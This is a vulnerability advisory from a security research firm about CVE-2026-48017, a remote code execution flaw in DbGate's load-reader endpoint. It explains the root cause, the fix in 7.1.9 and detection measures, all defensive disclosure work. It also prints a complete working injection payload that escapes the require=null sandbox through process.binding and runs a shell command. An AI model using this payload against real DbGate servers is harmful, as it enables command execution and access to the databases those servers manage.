CVE-2026-48017
CVSS 8.8 · High PatchedCVE-2026-48017: remote code execution in DbGate through the loadReader endpoint
Any authenticated DbGate user could inject JavaScript into a script the server forks, then escape the require = null sandbox with process.binding.
For your decision
- Impact
- An API value can become JavaScript executed on the DbGate server.
- Conditions
- An authenticated account is required. Possible effects depend on the server process permissions and access.
- Recommended action
- Install DbGate 7.1.9 or later and review exposure of the web instance.
Advisory facts
Investigation summary
The POST /runners/load-reader endpoint of DbGate copied a functionName parameter into JavaScript source that the server then ran in a forked process. Any logged-in user, with no particular permission, could close the expected call, append code and reach the operating system through process.binding("spawn_sync"), which the require = null sandbox leaves available. Fixed in 7.1.9.
The second runner outside validation
DbGate generates short JavaScript programs for its runners. We compared two paths that launch them: start() checked allowed functions, while loadReader() took functionName from the HTTP body and inserted it into a script before forking Node. props passed through JSON.stringify(); functionName had no equivalent transformation. A function name was treated as already trusted code.
We built a payload for the authenticated endpoint that closes the expected call, requests a harmless marker command and neutralises the template suffix. The retained PoC is a client script and the report describes the expected marker; neither preserves an endpoint response nor a server-side marker readback. Reading the generated template shows why require = null does not remove the process global, so process.binding remains reachable. We keep that source-backed execution path separate from a recorded live run. We reported the issue before 10 April 2026. DbGate validated functionName in code on the 10th, released 7.1.9 on 22 April and published CVE-2026-48017 on 22 May. The starting point remained a logged-in user, with no special permission established by our proof.
Two code-generating runner paths
DbGate generates JavaScript for import and export runners, then forks a Node process to execute it. The web server holds database connections, so the permission check on each path that generates code matters.
Part of DbGate’s features (imports, exports, data copies between connections) relies on runners: the API generates a short JavaScript program, starts it in a child Node.js process with fork(), and streams the result back to the browser. Generating code from request data is a sensitive operation, and DbGate treats it as such in one place: the start() runner, which executes user scripts, checks the run-shell-script permission and the allowShellScripting platform setting before doing anything.
The loader that skipped the gate
loadReader(), in packages/api/src/controllers/runners.js, also builds a loader script and forks it. It performs none of the checks of start(). Following its functionName parameter from the HTTP body to the generated source gives the following chain:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, props, runid)
runners.js:64 const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
packageTools.ts:33 return `dbgateApi.${functionName}`;
props goes through JSON.stringify(), which produces a valid JavaScript literal whatever its content. functionName gets no such treatment: compileShellApiFunctionName() prefixes it with dbgateApi. and returns it as is. The function was written to turn a short name such as tableReader into a full path, and it assumes that it receives an identifier. Nothing in the request path guarantees that.
Root cause
The vulnerable code builds the loader as a template string:
// packages/api/src/controllers/runners.js (7.1.8)
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;
Two decisions combine here. The first is to treat a request field as a fragment of source code (CWE-94). The second is to rely on require=null as a sandbox: once require is cleared, the generated script can no longer load child_process, and the authors could reasonably think that this limits what an injected expression can do. Node.js, however, still exposes its internal bindings through process.binding(). The spawn_sync binding is the native layer under child_process.spawnSync() and does not need require at all.
Exploitation
The payload has three parts. toString(); completes the expected expression, so that the line await dbgateApi.toString(); stays valid. The injected code follows. A final dbgateApi.toString// restores a plausible expression and comments out the (${JSON.stringify(props)}); that the template appends.
POST /runners/load-reader HTTP/1.1
Authorization: Bearer <any user's token>
Content-Type: application/json
{
"functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/pwned\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
"props": {}
}
The runner then forks a script whose central line reads:
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id > /tmp/pwned"], ... });dbgateApi.toString//({});
The command runs with the privileges of the DbGate process. The public proof of concept drives the real endpoint, either with an existing token or after logging in with a username and password.
Impact
The attacker needs a DbGate account, with no specific permission: the GitHub advisory scores it PR:L. In return they get command execution on the host, with full impact on confidentiality, integrity and availability (CVSS 3.1 score of 8.8).
The real stake is what the host holds. A shared DbGate instance stores the connection settings of the databases it manages and has network access to them. Code execution on that host gives access to the data tier, often beyond what the compromised account was allowed to see through the interface. In a deployment where the run-shell-script permission was deliberately withheld from most users, this vulnerability cancels that choice.
The fix
DbGate 7.1.9 fixes the flaw at the source, in commits 9c97e34 and f9de2d7. A new assertValidShellApiFunctionName() only accepts two forms, a plain JavaScript identifier (tableReader) or a namespaced name (tableReader@dbgate-plugin-xxx), and the identifier check is a strict pattern:
// packages/tools/src/packageTools.ts (7.1.9)
const JS_IDENTIFIER_RE = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;
The validation is called in loadReader() before the script is generated. The same commit also hardens the neighbouring code: ScriptWriter now validates the variable names it emits, and the runid and directory names are written into generated code through JSON.stringify() rather than between quotes. These changes close the variants of the same mistake, which is the right reflex for this class of flaw.
Detection and mitigation
Updating to 7.1.9 or later is the only complete fix. Until then, a few measures reduce the exposure:
- Restrict access to the web instance to the people who need it, behind a VPN or an authenticating reverse proxy, and review the accounts that exist.
- At the reverse proxy, inspect the body of
POST /runners/load-readerrequests. A legitimatefunctionNameis an identifier, optionally followed by@and a plugin name. Any value containing parentheses, semicolons, quotes, spaces or//is suspicious. - On the host, watch for shells and system utilities whose parent is the DbGate Node.js process (for instance with an auditd or Falco rule on
execvefrom that process).
Timeline
| Date | Event |
|---|---|
| Before 2026-04-10 | Private report to the maintainers through a GitHub security advisory |
| 2026-04-10 | Validation of functionName committed (9c97e34) |
| 2026-04-22 | DbGate 7.1.9 released |
| 2026-05-22 | Advisory GHSA-hv83-ggc4-v385 published, CVE-2026-48017 assigned |
| After the advisory | Proof of concept published |
References
- Vendor advisory · CVE-2026-48017 github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385
- NVD entry · CVE-2026-48017 nvd.nist.gov/vuln/detail/CVE-2026-48017
- CVE.org record · CVE-2026-48017 www.cve.org/CVERecord?id=CVE-2026-48017
- MITRE CWE-94 cwe.mitre.org/data/definitions/94.html
- Project repository github.com/dbgate/dbgate
- Proof of concept and reproduction notes github.com/romain-deperne/CVE-2026-48017
Cite this advisory
rootzero. “CVE-2026-48017: remote code execution in DbGate through the loadReader endpoint”. Vulnerability research, rootzero, 22 May 2026. https://rootzero.eu/en/research/cve/cve-2026-48017-dbgate-rce/
#Vulnerability research
Have your code audited before someone else does.
Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.